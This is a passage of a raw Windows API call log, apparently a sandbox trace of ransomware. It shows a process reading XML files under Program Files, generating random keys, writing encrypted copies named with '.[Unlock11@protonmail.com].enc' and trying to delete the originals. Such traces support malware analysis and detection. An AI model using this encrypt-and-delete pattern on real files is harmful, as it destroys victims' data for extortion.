0x0 [0123.164] GetLastError () returned 0x0 [0123.164] GetLastError () returned 0x0 [0123.164] GetLastError () returned 0x0 [0123.164] GetCurrentThreadId () returned 0x9b0 [0123.165] GetLastError () returned 0x0 [0123.165] GetLastError () returned 0x0 [0123.165] GetLastError () returned 0x0 [0123.165] GetLastError () returned 0x0 [0123.165] GetLastError () returned 0x0 [0123.165] GetLastError () returned 0x0 [0123.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.165] GetLastError () returned 0x0 [0123.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0123.166] GetLastError () returned 0x0 [0123.166] GetLastError () returned 0x0 [0123.166] GetLastError () returned 0x0 [0123.166] GetLastError () returned 0x0 [0123.166] GetLastError () returned 0x0 [0123.166] GetLastError () returned 0x0 [0123.166] GetLastError () returned 0x0 [0123.166] GetLastError () returned 0x0 [0123.166] GetLastError () returned 0x0 [0123.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a428 | out: hHeap=0x2ad0000) returned 1 [0123.167] GetLastError () returned 0x0 [0123.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0123.167] GetLastError () returned 0x0 [0123.167] GetLastError () returned 0x0 [0123.167] GetLastError () returned 0x0 [0123.167] GetLastError () returned 0x0 [0123.167] GetLastError () returned 0x0 [0123.167] GetLastError () returned 0x0 [0123.167] GetLastError () returned 0x0 [0123.167] GetLastError () returned 0x0 [0123.167] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0123.168] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b6)) returned 1 [0123.168] GetLastError () returned 0x0 [0123.168] GetLastError () returned 0x0 [0123.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a98 | out: hHeap=0x2ad0000) returned 1 [0123.168] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668354 | out: pbBuffer=0x3668354) returned 1 [0123.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0123.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9b8 [0123.168] GetLastError () returned 0x0 [0123.169] GetLastError () returned 0x0 [0123.169] GetLastError () returned 0x0 [0123.169] GetLastError () returned 0x0 [0123.169] GetLastError () returned 0x0 [0123.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea9b8 | out: hHeap=0x2ad0000) returned 1 [0123.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.169] GetLastError () returned 0x0 [0123.169] GetLastError () returned 0x0 [0123.169] GetLastError () returned 0x0 [0123.169] GetLastError () returned 0x0 [0123.170] GetLastError () returned 0x0 [0123.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4410 | out: hHeap=0x2ad0000) returned 1 [0123.170] GetLastError () returned 0x0 [0123.170] GetLastError () returned 0x0 [0123.170] GetLastError () returned 0x0 [0123.170] GetLastError () returned 0x0 [0123.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0123.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a68 [0123.170] GetLastError () returned 0x0 [0123.171] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.171] GetFileType (hFile=0x39c) returned 0x1 [0123.171] GetLastError () returned 0x0 [0123.171] GetLastError () returned 0x0 [0123.171] GetFileType (hFile=0x39c) returned 0x1 [0123.171] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.171] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.171] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.171] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.171] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.172] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.172] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.172] GetLastError () returned 0x0 [0123.172] GetCurrentThreadId () returned 0x9b0 [0123.172] GetLastError () returned 0x0 [0123.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0123.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2c78 | out: hHeap=0x2ad0000) returned 1 [0123.172] GetLastError () returned 0x0 [0123.172] GetLastError () returned 0x0 [0123.172] GetLastError () returned 0x0 [0123.172] GetLastError () returned 0x0 [0123.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0123.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6bb8 [0123.173] GetLastError () returned 0x0 [0123.173] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.173] GetFileType (hFile=0x3ac) returned 0x1 [0123.173] GetLastError () returned 0x0 [0123.174] GetCurrentThreadId () returned 0x9b0 [0123.174] GetLastError () returned 0x0 [0123.174] GetFileType (hFile=0x3ac) returned 0x1 [0123.174] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.174] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.174] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.174] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.174] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.174] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.174] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.174] GetLastError () returned 0x0 [0123.174] GetCurrentThreadId () returned 0x9b0 [0123.174] GetLastError () returned 0x0 [0123.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bb8 | out: hHeap=0x2ad0000) returned 1 [0123.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc690 | out: hHeap=0x2ad0000) returned 1 [0123.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0123.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0123.175] GetLastError () returned 0x0 [0123.175] GetLastError () returned 0x0 [0123.175] GetCurrentThreadId () returned 0x9b0 [0123.175] GetLastError () returned 0x0 [0123.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0123.175] GetLastError () returned 0x0 [0123.175] GetLastError () returned 0x0 [0123.175] GetCurrentThreadId () returned 0x9b0 [0123.176] GetLastError () returned 0x0 [0123.176] GetLastError () returned 0x0 [0123.177] GetLastError () returned 0x0 [0123.177] GetCurrentThreadId () returned 0x9b0 [0123.178] GetCurrentThreadId () returned 0x9b0 [0123.178] GetCurrentThreadId () returned 0x9b0 [0123.178] GetCurrentThreadId () returned 0x9b0 [0123.178] GetCurrentThreadId () returned 0x9b0 [0123.179] CloseHandle (hObject=0x3ac) returned 1 [0123.179] GetCurrentThreadId () returned 0x9b0 [0123.179] CloseHandle (hObject=0x39c) returned 1 [0123.180] GetCurrentThreadId () returned 0x9b0 [0123.180] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0 [0123.180] GetCurrentThreadId () returned 0x9b0 [0123.180] GetCurrentThreadId () returned 0x9b0 [0123.180] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", lpFilePart=0x9bada4*="ja-jp-sym.xml") returned 0x56 [0123.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0123.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0123.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0123.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0123.181] GetCurrentThreadId () returned 0x9b0 [0123.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9b8 [0123.181] GetCurrentThreadId () returned 0x9b0 [0123.181] GetCurrentThreadId () returned 0x9b0 [0123.181] GetCurrentThreadId () returned 0x9b0 [0123.181] GetCurrentThreadId () returned 0x9b0 [0123.181] GetCurrentThreadId () returned 0x9b0 [0123.181] GetCurrentThreadId () returned 0x9b0 [0123.182] GetCurrentThreadId () returned 0x9b0 [0123.182] GetCurrentThreadId () returned 0x9b0 [0123.182] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325)) returned 1 [0123.182] GetCurrentThreadId () returned 0x9b0 [0123.182] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b24 | out: pbBuffer=0x3668b24) returned 1 [0123.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0123.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0123.182] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0123.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9e0 [0123.182] GetCurrentThreadId () returned 0x9b0 [0123.183] GetCurrentThreadId () returned 0x9b0 [0123.183] GetCurrentThreadId () returned 0x9b0 [0123.183] GetCurrentThreadId () returned 0x9b0 [0123.183] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.183] GetFileType (hFile=0x39c) returned 0x1 [0123.183] GetCurrentThreadId () returned 0x9b0 [0123.183] GetFileType (hFile=0x39c) returned 0x1 [0123.183] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.184] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.184] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.184] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.184] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.184] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.184] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.184] GetLastError () returned 0x0 [0123.184] GetCurrentThreadId () returned 0x9b0 [0123.184] GetLastError () returned 0x0 [0123.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bb8 | out: hHeap=0x2ad0000) returned 1 [0123.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0123.184] GetLastError () returned 0x0 [0123.185] GetLastError () returned 0x0 [0123.185] GetLastError () returned 0x0 [0123.185] GetLastError () returned 0x0 [0123.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0123.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f69c8 [0123.185] GetLastError () returned 0x0 [0123.185] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.187] GetFileType (hFile=0x3ac) returned 0x1 [0123.187] GetLastError () returned 0x0 [0123.187] GetCurrentThreadId () returned 0x9b0 [0123.187] GetLastError () returned 0x0 [0123.187] GetFileType (hFile=0x3ac) returned 0x1 [0123.187] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.187] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.187] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.187] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.188] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.188] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.188] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.188] GetLastError () returned 0x0 [0123.188] GetCurrentThreadId () returned 0x9b0 [0123.188] GetLastError () returned 0x0 [0123.188] GetCurrentThreadId () returned 0x9b0 [0123.188] GetLastError () returned 0x0 [0123.188] GetCurrentThreadId () returned 0x9b0 [0123.188] GetLastError () returned 0x0 [0123.190] GetCurrentThreadId () returned 0x9b0 [0123.190] GetLastError () returned 0x0 [0123.190] GetCurrentThreadId () returned 0x9b0 [0123.190] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x348) returned 0x33f3a78 [0123.190] GetCurrentThreadId () returned 0x9b0 [0123.190] GetLastError () returned 0x0 [0123.190] GetCurrentThreadId () returned 0x9b0 [0123.190] GetLastError () returned 0x0 [0123.191] GetCurrentThreadId () returned 0x9b0 [0123.191] GetLastError () returned 0x0 [0123.192] CloseHandle (hObject=0x3ac) returned 1 [0123.192] GetCurrentThreadId () returned 0x9b0 [0123.192] GetLastError () returned 0x0 [0123.192] CloseHandle (hObject=0x39c) returned 1 [0123.192] GetCurrentThreadId () returned 0x9b0 [0123.192] GetLastError () returned 0x0 [0123.192] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0 [0123.192] GetLastError () returned 0x5 [0123.193] GetCurrentThreadId () returned 0x9b0 [0123.193] GetLastError () returned 0x5 [0123.193] GetCurrentThreadId () returned 0x9b0 [0123.193] GetLastError () returned 0x5 [0123.193] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpFilePart=0x9bada4*="symbase.xml") returned 0x54 [0123.193] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0123.193] GetCurrentThreadId () returned 0x9b0 [0123.193] GetCurrentThreadId () returned 0x9b0 [0123.193] GetLastError () returned 0x0 [0123.193] GetCurrentThreadId () returned 0x9b0 [0123.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa58 [0123.194] GetCurrentThreadId () returned 0x9b0 [0123.194] GetLastError () returned 0x0 [0123.194] GetCurrentThreadId () returned 0x9b0 [0123.194] GetLastError () returned 0x0 [0123.194] GetCurrentThreadId () returned 0x9b0 [0123.194] GetLastError () returned 0x0 [0123.194] GetCurrentThreadId () returned 0x9b0 [0123.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a828 [0123.194] GetCurrentThreadId () returned 0x9b0 [0123.194] GetLastError () returned 0x0 [0123.194] GetCurrentThreadId () returned 0x9b0 [0123.195] GetLastError () returned 0x0 [0123.195] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef)) returned 1 [0123.195] GetLastError () returned 0x0 [0123.195] GetCurrentThreadId () returned 0x9b0 [0123.195] GetLastError () returned 0x0 [0123.195] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36687b4 | out: pbBuffer=0x36687b4) returned 1 [0123.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0123.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0123.195] GetCurrentThreadId () returned 0x9b0 [0123.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaa58 [0123.196] GetCurrentThreadId () returned 0x9b0 [0123.196] GetLastError () returned 0x0 [0123.196] GetCurrentThreadId () returned 0x9b0 [0123.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacb0 [0123.196] GetCurrentThreadId () returned 0x9b0 [0123.196] GetLastError () returned 0x0 [0123.196] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.196] GetFileType (hFile=0x39c) returned 0x1 [0123.196] GetCurrentThreadId () returned 0x9b0 [0123.197] GetLastError () returned 0x0 [0123.197] GetFileType (hFile=0x39c) returned 0x1 [0123.197] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.197] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.197] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.197] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.197] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.197] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.197] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.197] GetLastError () returned 0x0 [0123.197] GetCurrentThreadId () returned 0x9b0 [0123.197] GetLastError () returned 0x0 [0123.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0123.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0123.198] GetLastError () returned 0x0 [0123.198] GetLastError () returned 0x0 [0123.198] GetLastError () returned 0x0 [0123.198] GetLastError () returned 0x0 [0123.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f69c8 [0123.198] GetLastError () returned 0x0 [0123.198] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.199] GetFileType (hFile=0x3ac) returned 0x1 [0123.199] GetLastError () returned 0x0 [0123.199] GetCurrentThreadId () returned 0x9b0 [0123.199] GetLastError () returned 0x0 [0123.199] GetFileType (hFile=0x3ac) returned 0x1 [0123.199] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.199] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.199] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.199] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.199] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.200] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.200] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.200] GetLastError () returned 0x0 [0123.200] GetCurrentThreadId () returned 0x9b0 [0123.200] GetLastError () returned 0x0 [0123.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69c8 | out: hHeap=0x2ad0000) returned 1 [0123.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bbd10 | out: hHeap=0x2ad0000) returned 1 [0123.200] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0123.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0123.200] GetLastError () returned 0x0 [0123.200] GetLastError () returned 0x0 [0123.200] GetCurrentThreadId () returned 0x9b0 [0123.201] GetLastError () returned 0x0 [0123.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.201] GetLastError () returned 0x0 [0123.201] GetLastError () returned 0x0 [0123.201] GetCurrentThreadId () returned 0x9b0 [0123.201] GetLastError () returned 0x0 [0123.201] GetCurrentThreadId () returned 0x9b0 [0123.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0123.201] GetLastError () returned 0x0 [0123.205] GetLastError () returned 0x0 [0123.205] GetCurrentThreadId () returned 0x9b0 [0123.205] GetLastError () returned 0x0 [0123.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0123.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xf08) returned 0x35bc9f0 [0123.205] GetLastError () returned 0x0 [0123.206] GetLastError () returned 0x0 [0123.206] GetLastError () returned 0x0 [0123.206] GetLastError () 